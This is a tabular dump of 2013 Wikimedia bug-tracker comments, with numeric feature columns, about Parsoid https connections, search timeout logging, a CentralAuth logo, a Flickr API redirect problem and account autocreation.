277773,Parsoid cannot connect to https-only host?,"Debug log from parsoid:
 - worker(23680) ready
{
  ""0"": ""WARNING: RETRY:"",
  ""1"": {}
}
Retrying Page Fetch request for null, 4 remaining
{
  ""0"": ""WARNING: RETRY:"",
  ""1"": {}
}
Retrying Page Fetch request for null, 3 remaining
{
  ""0"": ""WARNING: RETRY:"",
  ""1"": {}
}
Retrying Page Fetch request for null, 2 remaining
{
  ""0"": ""WARNING: RETRY:"",
  ""1"": {}
}
Retrying Page Fetch request for null, 1 remaining
{
  ""0"": ""WARNING: RETRY:"",
  ""1"": {}
}
Retrying Page Fetch request for null, 0 remaining
{
  ""0"": ""WARNING: RETRY:"",
  ""1"": {}
}
ERROR in localhost:Main_Page:
Page Fetch failure for null
Stack trace: DoesNotExistError: Page Fetch failure for null
worker 23671 died (1), restarting.
 - worker(23690) loading...
 - worker(23690) ready


I don't know if the API works from the external network, this is a protected wiki, I hope login won't be necessary.

https://wiki.mc128k.info",,,1386145344,,PHID-USER-vj2bbc63joi46qr5a5nq,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c2,3,False,,,14,True,0.0,0.0,0.0,0.0,0.6666666666666666,2.6666666666666665,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,3.6666666666666665,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.6666666666666666,0.0,2.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,8.333333333333334,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,1.0,0.6666666666666666,13.666666666666666,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,6.333333333333333,0.0,0.6666666666666666,3.6666666666666665,12.0,0.0,12.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,2.0,0.0,0.0,0.0,2.794871794871795,0.39194139194139194,"Debug log from parsoid:
 - worker(23680) ready
{
  ""0"": ""WARNING: RETRY:"",
  ""1"": {}
}
Retrying Page Fetch request for null, 4 remaining
{
  ""0"": ""WARNING: RETRY:"",
  ""1"": {}
}
Retrying Page Fetch request for null, 3 remaining
{
  ""0"": ""WARNING: RETRY:"",
  ""1"": {}
}
Retrying Page Fetch request for null, 2 remaining
{
  ""0"": ""WARNING: RETRY:"",
  ""1"": {}
}
Retrying Page Fetch request for null, 1 remaining
{
  ""0"": ""WARNING: RETRY:"",
  ""1"": {}
}
Retrying Page Fetch request for null, 0 remaining
{
  ""0"": ""WARNING: RETRY:"",
  ""1"": {}
}
ERROR in localhost:Main_Page:
Page Fetch failure for null
Stack trace: DoesNotExistError: Page Fetch failure for null
worker 23671 died (1), restarting.
 - worker(23690) loading...
 - worker(23690) ready


I don't know if the API works from the external network, this is a protected wiki, I hope login won't be necessary.

URL"
277768,Parsoid cannot connect to https-only host?,"I just tested this with 'enwiki' and

parsoidConfig.setInterwiki( 'enwiki', 'https://en.wikipedia.org/w/api.php' );

We don't set the port explicitly and use the API uri as-is, so in theory https-only APIs should work. Do you have a public https-only API URI we can test with?",,,1386118696,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c2,3,False,,,14,True,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,3.0,0.0,5.0,0.0,8.0,5.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,13.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,6.0,5.0,10.0,2.0,8.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.306451612903226,0.7580645161290323,"I just tested this with 'enwiki' and

parsoidConfig.setInterwiki( 'enwiki', 'URL );

We don't set the port explicitly and use the API uri as-is, so in theory https-only APIs should work. Do you have a public https-only API URI we can test with?"
277764,Parsoid cannot connect to https-only host?,"I'm sorry, I thought Parsoid was part of VisualEditor. Corrected. Thanks.
Latest git versions, of parsoid, mediawiki, visualeditor.",,,1381092220,,PHID-USER-vj2bbc63joi46qr5a5nq,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,11.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.107142857142857,0.7142857142857143,"I'm sorry, I thought Parsoid was part of VisualEditor. Corrected. Thanks.
Latest git versions, of parsoid, mediawiki, visualeditor."
277761,Parsoid cannot connect to https-only host?,"Hmm, shouldn't this be filed under product ""Parsoid""? :)
Which Parsoid version and which MediaWiki version is this about?",,,1381092082,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c2,3,True,,,5,True,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,19.0,0.0,4.0,15.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,8.0,12.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8076923076923077,"Hmm, shouldn't this be filed under product ""Parsoid""? :)
Which Parsoid version and which MediaWiki version is this about?"
56865,Monitor search HTTP timeouts,"UDP logging for search is currently disabled.  However, it would be good to be able to track the main errors.  An example of one that seems important (which I was receiving earlier tonight) is:

An error has occurred while searching: HTTP request timed out

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1380696120,1392335229.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-fumdp5y46dhpxixvu23m,task_description,declined,True,c2,3,False,False,False,5,True,0.0,0.0,0.0,1.0,0.0,8.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,8.0,0.0,3.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,6.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,12.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,11.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,3.0,8.0,1.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,4.0,1.0,0.0,0.0,3.9722222222222223,0.75,"UDP logging for search is currently disabled.  However, it would be good to be able to track the main errors.  An example of one that seems important (which I was receiving earlier tonight) is:

An error has occurred while searching: HTTP request timed out

--------------------------
**Version**: unspecified
**Severity**: normal"
273927,Monitor search HTTP timeouts,This is mostly a WONTFIX for MWSearch at this point as we're moving full steam ahead towards Cirrus for everyone. The logging situation there is generally improved with slow queries and timeouts.,,,1392335229,,PHID-USER-oetk6bbl6omm354ejz3b,True,,,PHID-TASK-fumdp5y46dhpxixvu23m,task_subcomment,,True,c2,3,True,,,24,True,0.0,3.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,3.0,0.0,9.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,14.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,4.685714285714286,0.9142857142857143,This is mostly a WONTFIX for MWSearch at this point as we're moving full steam ahead towards Cirrus for everyone. The logging situation there is generally improved with slow queries and timeouts.
273922,Monitor search HTTP timeouts,"If we're interested in timeouts only/mainly, the log for ""Search backend error"" could be split from mwsearch to its own log, if necessary.
Other than that, this is just a config change (Wikimedia product) I think?",,,1380696477,,PHID-USER-v7bwpq3rs3zdxegibdbh,True,,,PHID-TASK-fumdp5y46dhpxixvu23m,task_subcomment,,True,c2,3,True,,,5,True,0.0,0.0,0.0,2.0,0.0,8.0,2.0,0.0,0.0,4.0,2.0,2.0,0.0,2.0,0.0,4.0,0.0,6.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,10.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,14.0,2.0,2.0,4.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.6530612244897958,0.9183673469387755,"If we're interested in timeouts only/mainly, the log for ""Search backend error"" could be split from mwsearch to its own log, if necessary.
Other than that, this is just a config change (Wikimedia product) I think?"
56500,Use a better CentralAuth icon for loginwiki,"https://login.wikimedia.org/wiki/Special:CentralAutoLogin/deleteCookies?type=icon - this is using a Wikipedia logo currently. Can we use a Wikimedia logo at least?

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Medium,50.0,1380027240,1381178345.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-nzebtgpchem4g773gg6i,task_description,resolved,True,c2,3,False,False,True,3,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,8.0,3.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,0.0,3.6923076923076925,0.6923076923076923,"URL - this is using a Wikipedia logo currently. Can we use a Wikimedia logo at least?

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
257897,Use a better CentralAuth icon for loginwiki,"Change 86091 merged by jenkins-bot:
Change SUL image for loginwiki to WMF logo

https://gerrit.wikimedia.org/r/86091",,,1381172664,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nzebtgpchem4g773gg6i,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,16.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.157894736842105,0.9473684210526315,"Change 86091 merged by jenkins-bot:
Change SUL image for loginwiki to WMF logo

GERRIT_URL"
257892,Use a better CentralAuth icon for loginwiki,"(In reply to comment #2)
> OK, but I'm just curious, where is this icon still seen?

Logout page.",,,1380192527,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-nzebtgpchem4g773gg6i,task_subcomment,,True,c2,3,False,,,4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.7857142857142856,1.0,"(In reply to comment #2)
QUOTE

Logout page."
257888,Use a better CentralAuth icon for loginwiki,"OK, but I'm just curious, where is this icon still seen?",,,1380192352,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-nzebtgpchem4g773gg6i,task_subcomment,,True,c2,3,False,,,4,True,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.066666666666667,0.9333333333333333,"OK, but I'm just curious, where is this icon still seen?"
257884,Use a better CentralAuth icon for loginwiki,"Change 86091 had a related patch set uploaded by TTO:
Change SUL image for loginwiki to WMF logo

https://gerrit.wikimedia.org/r/86091",,,1380192303,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nzebtgpchem4g773gg6i,task_subcomment,,True,c2,3,False,,,4,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,27.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.181818181818182,0.9545454545454546,"Change 86091 had a related patch set uploaded by TTO:
Change SUL image for loginwiki to WMF logo

GERRIT_URL"
56468,Using the secure API is breaking the Flickr upload (using HTTPSEverywhere),"This could be an upstream bug, either in HTTPSEverywhere or Flickr API, but I'm not sure.

When making a request for a flickr image such as https://secure.flickr.com/photos/sludgeulper/7447549052/in/photostream/ from UploadWizard while having HTTPSEverywhere  active, the API request to secure.flickr.com returns an empty result. When not having the extension active, the result is made to api.flickr.com and works as expected.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1379948580,1389207325.0,PHID-USER-2trxtywh5ma4onasf4kq,False,,False,PHID-TASK-zre4dw2by7umnxgdzcwg,task_description,invalid,True,c2,3,False,False,False,3,True,0.0,0.0,0.0,1.0,2.0,10.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,9.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,15.0,3.0,5.0,9.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,9.0,5.0,0.0,0.0,0.0,1.0,0.0,2.0,5.0,0.0,3.0,0.0,0.0,1.0,4.3604651162790695,0.6627906976744186,"This could be an upstream bug, either in HTTPSEverywhere or Flickr API, but I'm not sure.

When making a request for a flickr image such as URL from UploadWizard while having HTTPSEverywhere  active, the API request to secure.flickr.com returns an empty result. When not having the extension active, the result is made to api.flickr.com and works as expected.

--------------------------
**Version**: unspecified
**Severity**: normal"
255830,Using the secure API is breaking the Flickr upload (using HTTPSEverywhere),Can't reproduce this. It seems Flickr changed how they handle HTTPS and there is no redirect now.,,,1389059684,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-zre4dw2by7umnxgdzcwg,task_subcomment,,True,c2,3,True,,,18,True,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,20.0,5.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.05,0.95,Can't reproduce this. It seems Flickr changed how they handle HTTPS and there is no redirect now.
255822,Using the secure API is breaking the Flickr upload (using HTTPSEverywhere),I think that this is problem in the UploadWizard javascript triggered by HTTPSEverywhere plugin. https://api.flickr.com redirects to https://secure.flickr.com which causes the XHR request to hang/fail. This fix for this may be as easy as changing 'flickrApiUrl' in UploadWizard.config.php from '//api.flickr.com/services/rest/?' to ''https://secure.flickr.com/services/rest/?' making the request SSL/TLS protected for all users.,,,1384972951,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-zre4dw2by7umnxgdzcwg,task_subcomment,,True,c2,3,True,,,12,True,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,6.0,7.0,0.0,0.0,0.0,1.0,0.0,1.0,16.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,22.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,3.0,16.0,1.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,16.0,7.0,1.0,6.0,0.0,1.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,4.462686567164179,0.7164179104477612,I think that this is problem in the UploadWizard javascript triggered by HTTPSEverywhere plugin. URL redirects to URL which causes the XHR request to hang/fail. This fix for this may be as easy as changing 'flickrApiUrl' in UploadWizard.config.php from '//api.flickr.com/services/rest/?' to ''URL making the request SSL/TLS protected for all users.
255812,Using the secure API is breaking the Flickr upload (using HTTPSEverywhere),"The bug that we decided this duplicated seemed similar at the time, but it is actually very different.",,,1381880122,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-zre4dw2by7umnxgdzcwg,task_subcomment,,True,c2,3,True,,,6,True,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,"The bug that we decided this duplicated seemed similar at the time, but it is actually very different."
255802,Using the secure API is breaking the Flickr upload (using HTTPSEverywhere),"

*** This bug has been marked as a duplicate of bug 42468 ***",,,1381426891,,PHID-USER-edlps6xg553cjlnvd4ao,False,,,PHID-TASK-zre4dw2by7umnxgdzcwg,task_subcomment,,True,c2,3,False,,,6,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 42468 ***"
255795,Using the secure API is breaking the Flickr upload (using HTTPSEverywhere),"(In reply to comment #1)
> A related improvement would be to use the secure API endpoint when the user
> is using https on the mediawiki site.

Only if it works. ;-)",,,1379997214,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-zre4dw2by7umnxgdzcwg,task_subcomment,,True,c2,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,5.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6842105263157894,0.8947368421052632,"(In reply to comment #1)
QUOTE
QUOTE

Only if it works. ;-)"
255788,Using the secure API is breaking the Flickr upload (using HTTPSEverywhere),A related improvement would be to use the secure API endpoint when the user is using https on the mediawiki site.,,,1379948656,,PHID-USER-2trxtywh5ma4onasf4kq,False,,,PHID-TASK-zre4dw2by7umnxgdzcwg,task_subcomment,,True,c2,3,False,,,3,True,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,18.0,9.0,9.0,5.0,0.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,4.2272727272727275,0.9090909090909091,A related improvement would be to use the secure API endpoint when the user is using https on the mediawiki site.
56292,Autocreate not running on Special:CentralAutoLogin,"DGarry (WMF) was hitting a bug today where he logged into enwiki, and SUL logged him into most of the other projects. But, his account wasn't attached on commons, and so that autologin attempt failed, with an error in the header saying the user didn't have an attached account.

When he logged in directly on commons, the account was autocreated correctly.

We should be autocreating the accounts, like used to happen with the old AutoLogin.

--------------------------
**Version**: master
**Severity**: normal",Medium,50.0,1379539380,1380142225.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-svzudixhz7fip5zakgrk,task_description,resolved,True,c2,3,True,False,True,3,True,0.0,0.0,0.0,1.5,1.0,4.5,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,1.0,1.0,5.0,7.5,0.0,1.0,1.0,0.5,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.5,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,6.0,3.0,6.5,1.5,1.5,6.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,3.5,7.5,4.0,0.0,0.0,0.0,3.5,0.0,1.5,2.0,0.5,2.0,0.0,0.5,0.0,4.001515151515152,0.7516835016835017,"DGarry (WMF) was hitting a bug today where he logged into enwiki, and SUL logged him into most of the other projects. But, his account wasn't attached on commons, and so that autologin attempt failed, with an error in the header saying the user didn't have an attached account.

When he logged in directly on commons, the account was autocreated correctly.

We should be autocreating the accounts, like used to happen with the old AutoLogin.

--------------------------
**Version**: master
**Severity**: normal"
245119,Autocreate not running on Special:CentralAutoLogin,Deployed,,,1380142225,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-svzudixhz7fip5zakgrk,task_subcomment,,True,c2,3,True,,,4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,Deployed
245117,Autocreate not running on Special:CentralAutoLogin,"Change 84998 merged by jenkins-bot:
Don't fail autologin for unattached accounts

